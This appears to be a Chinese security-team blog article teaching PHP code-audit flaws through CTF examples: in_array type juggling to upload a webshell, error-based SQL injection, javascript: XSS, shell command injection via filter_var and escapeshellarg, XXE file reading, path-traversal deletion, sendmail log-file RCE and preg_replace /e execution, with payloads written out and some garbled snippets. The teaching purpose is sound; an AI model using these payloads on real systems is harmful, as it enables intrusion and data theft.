点击蓝字,关注我们
本文作者:Peiqi (团队成员)
本文字数:6300
阅读时长:30min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
关于CMS和CTF中的PHP代码审计部分常见的函数缺陷
in_array函数缺陷
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
我们要注意到的漏洞位置是
(1) $this->whitelist = range(1, 24);
(2) if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
(1)这里判断文件名是否存在于1~24之间
(2)检测上传的文件名是否通过$this->whitelist = range(1, 24);
的检测
我们具体看一下in_array()
函数的解析
定义和用法
in_array() 函数搜索数组中是否存在指定的值
语法
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
参数 描述
needle 必需。规定要在数组搜索的值。
haystack 必需。规定要搜索的数组。
strict 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。
返回值: 如果在数组中找到值则返回 TRUE,否则返回 FALSE。
这里因为使用了in_array
函数,但是并没有使用函数的第三个参数,也就是说没有对两个变量的类型进行检测,所以如果我们上传文件 7shell.php
,会被转化为数字7,导致通过检测,成功上传木马文件
CTF题型
//index.php
<?php include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);if ($conn->connect_error) {die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";if (!in_array($id, $whitelist)) {die("id $id is not in whitelist.");
}
$result = $conn->query($sql);if($result->num_rows > 0){
$row = $result->fetch_assoc();echo "
1">";foreach ($row as $key => $value) {echo "
$key
";echo "
$value
";
}echo "
";
}else{die($conn->error);
}?>
//config.php
<?php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);foreach($back_list as $hack){if(preg_match("/$hack/i", $value))die("$hack detected!");
}return $value;
}
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
我们主要看这个函数
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
这里使用stop_hack过滤一些危险的函数
看到给一个GET请求可控
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
通过GET的id,通过stop_hack过滤后拼接在sql语句中查询
这里通过报错注入即可得到Flag
and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
漏洞原因:
使用不安全的in_array,并且没有开启第三个检测参数类型,导致通过检测,形成任意文件上传
filter_var函数缺陷
// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '' .
'Next slide »';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
这里是一段PHP的模板引擎Twig,使用的是escape和filter_var两个过滤方法
但是这里并不是绝对的安全,因为escape过滤器的本质是通过PHP内置函数htmlspecialchars实现的
我们看一下函数的定义
定义和用法
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 >
> (大于)成为 <
string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] )
提示:要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。
例如
<?php
$str = "This is some bold text.";echo htmlspecialchars($str);?>
输出在页面上
This is some >b/b< text.
filter_var函数过滤nextSlide变量
并且使用FILTER_VALIDATE_URL过滤器判断是否为一个合法的url
filter_var :(PHP 5 >= 5.2.0, PHP 7)
功能 :使用特定的过滤器过滤一个变量
定义 :mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
这里就可以使用JavaScript的伪协议来xss攻击
?url=javascript://comment%250aalert(1)
这里的//表示这注释掉后面的所有内容,但是对%
进行编码后编为%25
当解码时会构造为%0a
进行换行,alert函数变为第二行执行,点击标签即可触发xss
CTF题型
// index.php
<?php
$url = $_GET['url'];if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);echo "
You have curl {$site_info['host']} successfully!
"
;echo implode(' ', $result);
}else{die("
Error: Host not allowed
");
}
}else{echo "
Just curl sec-redclub.com!
For example:?url=http://sec-redclub.com
";
}?>
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"?>
虽然进行了过滤,但是依然可以构造危险函数获取flag
syst1m://"|ls;"sec-redclub.com
syst1m://"|cat
== 与 === 弱类型绕过
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
(如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行)
例如
<?php
var_dump("admin" == 0); //true
var_dump("1admin"== 1); //true
var_dump("admin1"== 1); //false
var_dump("admin1"== 0); //true
var_dump("0e123456"=="0e4456789"); //true?>
根据上面的可以看到
admin
为字符型,与0
进行比较时,强制转换类型为数字型,变成 0
,导致返回True
同理1admin
会变成1
,而admin1
则为0
"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学计数法的数字,0的无论多少次方都是零,所以相等
<?php
$test=1 + "10.5"; //$test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3"; //$test=1(int)
$test=1+"2admin"; //$test=3(int)
$test=1+"admin2"; //$test=1(int)?>
通过这里也可以更好的理解
CTF题型
md5(hash)弱类型绕过
<?php if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];if (!ctype_alpha($Username)) {$logined = false;}if (!is_numeric($password) ) {$logined = false;}if (md5($Username) != md5($password)) {$logined = false;}if ($logined){echo "successful";
}else{echo "login failed!";
}
}?>
输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句
所以只要让md5后的值开头含有0e
则会转换为0
md5('240610708') ------> 0e462097431906509019562988736854
md5('QNKCDZO') ------> 0e830400451993494058024219903391
md5('240610708') == md5('QNKCDZO')
这样即可绕过检测
# 部分的MD5绕过方式
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
json绕过
<?php if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";if ($message->key == $key) {echo "flag";
}else {echo "fail";
}
}else{echo "~~~~";
}?>
这里同样也看到了 ==
符号
不知道key的值,但是我们知道key为字符
所以绕过只需要 0=='admin'
即可绕过
payload:
message={"key":0}
strcmp漏洞绕过 php -v <5.3
<?php
$password="***************"if(isset($_POST['password'])){if (strcmp($_POST['password'], $password) == 0) {echo "Right!!!login success";nexit();
} else {echo "Wrong password..";
}?>
strcmp是比较两个字符串,如果str10 如果两者相等 返回0
那我们只需要传入数组password[]=xxx就可以绕过了
MD5数组绕过
include_once “flag.php”;
ini_set(“display_errors”, 0);
$str = strstr($_SERVER[‘REQUEST_URI’], ‘?’);
$str = substr($str,1);
$str = str_replace(‘key’,”,$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag.”取得flag”;
}
?>
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
实例化任意对象漏洞
function __autoload($className) { //自动加载
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d']; //获取get的c与d作为类名与参数
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
如果存在如果程序存在 __autoload函数,class_exists函数就会自动调用方法
payload : /?c=../../../../etc/passwd
CTF题型
<?php class NotFound{function __construct(){die('404');
}
}
spl_autoload_register(function ($class){new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);foreach ($newclass as $key=>$value)echo $key.'=>'.$value.'
';
}
当class_exists时,调用autoload方法,但是autoload方法不存在,新建了一个spl_autoload_register方法,类似__autoload方法
列出文件(GlobIterator类)
public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
第一个参数为要搜索的文件名,第二个参数为第二个参数为选择文件的哪个信息作为键名
payload : http://127.0.0.1:8888/index.php?name=GlobIterator¶m=./*.php¶m2=0
读取flag
http://127.0.0.1:8888/index.php?name=SimpleXMLElement¶m=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E¶m2=2
strpos使用不当引发漏洞
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, ') || !strpos($user, '>')) &&
(!strpos($pass, ') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .'';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);// Perform the actual login.$this->login($xmlElement);
}
}
}new Login($_POST['username'], $_POST['password']);
strpos定义
主要是用来查找字符在字符串中首次出现的位置。
查找代码中是否含有的特殊符号,strpos在没找到指定字符时会返回flase,如果第一个字符找到就返回0,0的取反为1,就可以注入xml进行注入了
注入代码
user=escapeshellarg与escapeshellcmd使用不当
scapeshellcmd: 除去字串中的特殊符号
escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}
return escapeshellarg($email);
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}
$mailer = new Mailer();
$mailer->send($_POST);
新建一个MAil类发送邮件(php内置寒湖是mail)
bool mail (
string $to , 接收人
string $subject , 邮件标题
string $message [, 征文
string $additional_headers [, 额外头部
string $additional_parameters ]] 额外参数
)
(linux额外参数)
-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
例如
<?php
$to = 'alala@qq.com';
$subject = 'hello';
$message = '<?php phpinfo()?>';
$headers = 'CC: somebodyelse@qq.com'
$options = '-OQueueDirectory=/tmp -X /var/www/html/rce.php';
main($to, $#subject, $message, $headers, $options);?>
运行结果
17220 <<< To: Alice@example.com
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]
filter_var()问题(FILTER_VALIDATE_EMAIL)
ilter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测
如 :”aaa’aaa”@example.com
escapeshellcmd()和escapeshellarg()
这两个函数会造成特殊字符逃逸
<?php
$param = ""'127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd)
?>
输出看一下
strings(21) "127.0.0.1\' -v -d a=1"
strings(26) "'127.0.0.1\'\'' -v -d a=1'"
strings(30) "curl'127.0.0.1\'\'' -v -d a=1"
sh: curl127.0.0.1\' -v -d a=1: comand nir found'
逃逸过程分析分析一下
传入127.0.0.1' -v -d a=1,escapeshellarg首先进行转义,处理为'127.0.0.1'\'' -v -d a=1',接着escapeshellcmd处理,处理结果为'127.0.0.1'\'' -v -d a=1\',\ 被解释成了 \ 而不再是转义字符
正则使用不当导致的路径穿越问题
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
preg_replace(函数执行一个正则表达式的搜索和替换)
payload
$action =delete$data = ../../config.php
preg_replace函数之命令执行
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
preg_replace(函数执行一个正则表达式的搜索和替换)
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$pattern 存在 /e 模式修正符,允许代码执行
/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
将GET请求传过来的参数通过complexStrtolower函数执行,preg_replace函数存在e修正符
payload
\S*=${phpinfo()}
研究文章(查看原文)
送一枚邀请码:592E279DFEDFD62215E085B49DD6C2E0
扫描关注公众号回复加群,和师傅们一起讨论研究~
扫码关注我们
微信号:wgpsec
Twitter:@wgpsec
分享、在看与点赞,至少我要拥有一个吧